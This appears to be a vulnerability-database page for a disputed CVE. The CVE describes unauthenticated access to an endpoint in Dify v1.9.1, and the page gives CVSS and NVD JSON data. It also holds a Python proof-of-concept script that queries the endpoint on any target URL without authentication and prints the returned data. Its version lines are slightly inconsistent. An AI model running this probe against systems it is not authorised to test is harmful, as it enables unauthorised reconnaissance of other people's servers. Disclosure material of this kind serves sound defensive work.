Security Vulnerability Report
中文
CVE-2025-63387 CVSS 7.5 HIGH

CVE-2025-63387

Published: 2025-12-18 19:16:33
Last Modified: 2026-01-22 20:16:09

Description

Dify v1.9.1 is vulnerable to Insecure Permissions. An unauthenticated attacker can directly send HTTP GET requests to the /console/api/system-features endpoint without any authentication credentials or session tokens. The endpoint fails to implement proper authorization checks, allowing anonymous access to sensitive system configuration data. NOTE: The maintainer states that the endpoint is unauthenticated by design and serves as a bootstrap mechanism required for the dashboard initialization. They also state that the description inaccurately classifies the returned data as sensitive system configuration, stating that the data is non-sensitive and required for client-side rendering. No PII, credentials, or secrets are exposed.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:langgenius:dify:1.9.1:*:*:*:*:node.js:*:* - VULNERABLE
Dify < 1.9.1 (v1.9.1本身存在漏洞)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-63387 PoC - Unauthenticated access to /console/api/system-features # Target: Dify v1.9.1 def check_vulnerability(target_url): """ Check if the target Dify instance is vulnerable to CVE-2025-63387 """ # Construct the vulnerable endpoint URL endpoint = "/console/api/system-features" url = target_url.rstrip('/') + endpoint print(f"[*] Testing target: {url}") # Send unauthenticated GET request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/plain, */*' } try: response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Content-Type: {response.headers.get('Content-Type', 'N/A')}") if response.status_code == 200: # Check if we received JSON data (indicating successful unauthorized access) try: data = response.json() print(f"[+] VULNERABLE! Received {len(str(data))} bytes of data without authentication") print(f"[+] Response preview: {str(data)[:500]}...") return True except: print(f"[!] Received non-JSON response but status 200") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] NOT VULNERABLE - Endpoint requires authentication") return False else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL (e.g., http://target.com): ").strip() vulnerable = check_vulnerability(target) if vulnerable: print("\n[RESULT] Target is VULNERABLE to CVE-2025-63387") print("[INFO] The /console/api/system-features endpoint allows unauthenticated access") else: print("\n[RESULT] Target may NOT be vulnerable or endpoint not found")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63387", "sourceIdentifier": "[email protected]", "published": "2025-12-18T19:16:33.157", "lastModified": "2026-01-22T20:16:09.387", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "Dify v1.9.1 is vulnerable to Insecure Permissions. An unauthenticated attacker can directly send HTTP GET requests to the /console/api/system-features endpoint without any authentication credentials or session tokens. The endpoint fails to implement proper authorization checks, allowing anonymous access to sensitive system configuration data. NOTE: The maintainer states that the endpoint is unauthenticated by design and serves as a bootstrap mechanism required for the dashboard initialization. They also state that the description inaccurately classifies the returned data as sensitive system configuration, stating that the data is non-sensitive and required for client-side rendering. No PII, credentials, or secrets are exposed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langgenius:dify:1.9.1:*:*:*:*:node.js:*:*", "matchCriteriaId": "ABF9FC69-C390-446E-830C-5F8B0A0488F2"}]}]}], "references": [{"url": "https://gist.github.com/Cristliu/cddc0cbbf354de51106ab63a11be94af", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/Cristliu/dfc5f3a31dc6d7fff2754867e5c649a5", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/discussions", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/langgenius/dify/issues/31368#issuecomment-3783712203", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/pull/31392", "source": "[email protected]"}, {"url": "https://github.com/langgenius/dify/pull/31417", "source": "[email protected]"}]}}